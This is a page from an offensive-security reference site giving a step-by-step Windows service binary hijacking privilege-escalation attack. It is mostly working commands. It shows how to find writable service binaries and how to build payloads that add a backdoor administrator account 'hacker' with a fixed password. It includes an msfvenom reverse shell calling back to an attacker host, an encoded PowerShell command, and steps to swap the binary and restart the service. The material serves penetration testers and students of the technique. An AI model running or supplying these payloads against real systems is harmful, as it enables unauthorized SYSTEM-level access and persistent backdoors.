# Windows Service Binary Hijacking

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/service-binary-hijacking
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-05-03

Windows services run as SYSTEM or a high-privileged account by default. If the binary a service executes is writable by your user, replacing it with a malicious executable gives you code execution as SYSTEM on the next service restart. This is one of the most common privilege escalation vectors on Windows.

## Prerequisites Check

Check current token privileges:

```bash
whoami /priv
```

You need to be able to restart the service: either directly (`SeShutdownPrivilege`, `sc stop/start`) or wait for a reboot. Check if you can stop and start services:

```bash
sc query
net start
net stop
```

## Step 1: Find Services with Writable Binaries

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-ModifiableServiceFile
# in older versions of PowerUp
Get-ServiceFilePermission
```

This lists all services where the current user has write access to the binary.

**Using accesschk:**

```bash
# Find services writable by current user
accesschk.exe -uwcqv %USERNAME% * /accepteula 2>nul
accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
```

**Manual check: get the binary path and check permissions:**

```bash
# List all service binary paths
sc query type= all state= all | findstr "SERVICE_NAME"
wmic service get name,pathname,startmode | findstr /i "auto"

# Get binary path for a specific service
sc qc VulnerableService

# Check permissions on the binary
icacls "C:\Path\To\service.exe"
```

Look for these permission flags on your user or group:

- `(F)` full control
- `(M)` modify
- `(W)` write

## Step 2: Create the Malicious Binary

**Option A: Add admin user (simple, no listener needed):**

```bash
# On target: create a simple cmd payload
echo @echo off > C:\Windows\Temp\payload.bat
echo net user hacker Password123! /add >> C:\Windows\Temp\payload.bat
echo net localgroup administrators hacker /add >> C:\Windows\Temp\payload.bat
```

For an EXE, compile on attack box:

```bash
# Msfvenom service executable
msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o payload.exe

# Or reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o shell.exe
```

**Option B: PowerShell payload (no compile needed):**

```powershell
# Create a PowerShell script that adds admin user
$cmd = 'net user hacker Password123! /add; net localgroup administrators hacker /add'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# Run: powershell -EncodedCommand $encoded
```

## Step 3: Replace the Service Binary

Back up the original first:

```bash
copy "C:\Path\To\service.exe" "C:\Path\To\service.exe.bak"
```

Replace with your payload:

```bash
copy /y C:\Windows\Temp\payload.exe "C:\Path\To\service.exe"
```

## Step 4: Restart the Service

```bash
# Stop and start the service
sc stop VulnerableService
sc start VulnerableService

# Or use net
net stop VulnerableService
net start VulnerableService
```

If you cannot restart the service directly, check if you can reboot:

```bash
whoami /priv | findstr SeShutdownPrivilege
shutdown /r /t 0
```

## Step 5: Verify Escalation

If you added a user:

```bash
net user hacker
net localgroup administrators
```

If you used a reverse shell, catch it:

```bash
nc -lvnp $LPORT
```

## Step 6: Restore Original Binary

After escalating, restore to avoid service failure:

```bash
sc stop VulnerableService
copy /y "C:\Path\To\service.exe.bak" "C:\Path\To\service.exe"
sc start VulnerableService
```

## Identifying Restart Triggers

If you cannot manually restart, find what triggers the service:

```bash
# Check start type: AUTO means restarts on reboot
sc qc VulnerableService | findstr START_TYPE

# Check if any scheduled tasks trigger the service
schtasks /query /fo LIST /v | findstr /i "VulnerableService"

# Check event log for restart patterns
wevtutil qe System /q:"*[System[Provider[@Name='Service Control Manager'] and EventID=7036]]" /f:text /c:10
```

## References

- [accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) - Sysinternals Service and file permission verification tool.
- [PowerUp](https://github.com/PowerShellMafia/PowerSploit) - Get-ServiceFilePermission and service exploitation functions.
